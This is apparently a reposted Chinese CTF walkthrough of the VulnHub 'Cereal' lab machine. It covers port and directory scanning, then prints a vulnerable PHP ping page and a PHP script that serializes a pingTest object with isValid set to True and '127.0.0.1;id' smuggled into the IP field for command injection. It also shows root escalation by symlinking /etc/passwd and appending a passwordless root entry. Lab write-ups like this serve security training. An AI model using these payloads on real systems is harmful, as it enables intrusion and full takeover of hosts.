VulnHub靶机- Cereal |红队打靶
2023-6-25 08:22:33 Author: 0x00实验室(查看原文) 阅读量:7 收藏

 声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 21 篇文章

靶机地址:https://www.vulnhub.com/entry/cereal-1,703/
难度级别:高真实度强

信息收集

先进行主机发现

sudo arp-scan -l

然后端口扫描

sudo nmap -p- 10.0.2.11

对已知端口进行详细扫描

nmap -p21,22,80,139,445,3306,11111,22222,22223,33333,33334,44441,44444,55551,55555 -A 10.0.2.11

端口很多,仔细梳理一下

searchsploit vsftpd 3.0.3

ftp 10.0.2.11

anonymous

没有什么发现

尝试上传文件

touch 1.txt

put 1.txt

不过没有权限

enum4linux 10.0.2.11

至于11111—55555看上去都是未知端口

折腾好久

只能把主要目标对准80,4441两个http服务了

web渗透

主页上是test页面没什么有用的信息

我们对80进行目录扫描

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.0.2.11/

发现后台

不过试了弱口令和万能密码,没什么用

我们又看了下/blog

要求我们解析到域名上

vi /etc/hosts

按照提示我们对备份文件进行扫描

gobuster dir -u http://cereal.ctf/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x bak,back,zip

不过没找到什么

/cgi-bin也尝试看看有没有破壳漏洞,不过没有能利用的文件

dirb http://10.0.2.11/cgi-bin -X sh,py

我们注意到blog是wp程序

然后我们又发现了wp-admin

弱口令无效,万能密码试了也白搭

我们wpscan试试

wpscan --url http://cereal.ctf/blog

可惜也没什么用处

80端口的渗透就告一段落了

下来我们看看44441

dirb扫描一下

也没什么收获

真的窒息

当然,信息收集还未结束

子域名扫描

我们子域名扫描一下

gobuster vhost -u http://cereal.ctf:44441/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep :200

速度不知道为啥很慢,我们换一个模式

gobuster dns -d cereal.ctf -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

发现了一个子域名

hosts解析一下

我们访问请求一下

可能有命令注入

试了几个如127.0.0.1;id or

没什么用

前面blog有提示,说扫描备份文件

于是我们对这个域名试试

gobuster dir -u http://secure.cereal.ctf:44441/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt

gobuster dir -u http://secure.cereal.ctf:44441/back_en -w /usr/share/seclists/Discovery/Web-Content/common.txt -x bak,zip

反序列化

看一下源码

<?php

class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";

function validate() {
if (!$this->isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{
$this->isValid = True;
}
}
$this->ping();

}

public function ping()
      {
if ($this->isValid) {
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
      }

}

if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}

$pingTest->validate();

echo "<html>
<head>
<script src=\"http://secure.cereal.ctf:44441/php.js\"></script>
<script>
function submit_form() {
var object = serialize({ipAddress: document.forms[\"ipform\"].ip.value});
object = object.substr(object.indexOf(\"{\"),object.length);
object = \"O:8:\\\"pingTest\\\":1:\" + object;
document.forms[\"ipform\"].obj.value = object;
document.getElementById('ipform').submit();
}
</script>
<link rel='stylesheet' href='http://secure.cereal.ctf:44441/style.css' media='all' />
<title>Ping Test</title>
</head>
<body>
<div class=\"form-body\">
<div class=\"row\">
  <div class=\"form-holder\">
<div class=\"form-content\">
  <div class=\"form-items\">
<h3>Ping Test</h3>

<form method=\"POST\" action=\"/\" id=\"ipform\" onsubmit=\"submit_form();\" class=\"requires-validation\" novalidate>

  <div class=\"col-md-12\">
<input name=\"obj\" type=\"hidden\" value=\"\">
      <input class=\"form-control\" type=\"text\" name=\"ip\" placeholder=\"IP Address\" required>
  </div>
<br />
  <div class=\"form-button mt-3\">
<input type=\"submit\" value=\"Ping!\">
<br /><br /><textarea>$pingTest->output</textarea>
  </div>
</form>
  </div>
</div>
  </div>
</div>
</div>
</body>
</html>";

?>

看上去是反序列化漏洞

我们构建序列化的对象数据

由于服务端解码url,因此我们先编码一下

isVaild是判断ip是否合法的,把Flase改成True

这样修改ip进行命令注入就不会报错了

具体代码如下

<?php
class pingTest {
public $ipAddress = "127.0.0.1;id";
public $isValid = True;
}

echo urlencode(serialize(new pingTest));

?>

执行看看有没有错误

成功运行

那么我们建立监听

监听,同理运行一下,成功拿到shell

顺便升级下bash,SHELL=bash script -q /dev/null

提权

我们传一下pspy64

改一下权限

chmod +x ./pspy64

运行一下

我们发现每隔一段时间就运行一个程序

其中我们发现了一个程序定时运行

chown命令把目录/home/rocky/public_html目录下的所有文件所有者都设置为rocky组为apache

这时我们使用ln命令

Linux ln(英文全拼:link files)命令是一个非常重要命令,它的功能是为某一个文件在另外一个位置建立一个同步的链接。

当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在 其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。

我们直接

ln -s /etc/passwd /home/rocky/public_html/passwd

下面我们直接修改root密码为空

不过由于shell不完成,输入上下左右键都是乱码,于是我们直接echo到passwd一个有root权限的语句

echo “kali::0:0:root:/root:/bin/bash>> passwd

参考资料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0 

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247491023&idx=1&sn=a667cfe71a695a246db61385bc7dc781&chksm=cfd86230f8afeb26ecc076ae6566fb5fb59777b5a3a9197a2199fce26463e3c8a817977c167c#rd
如有侵权请联系:admin#unsafe.sh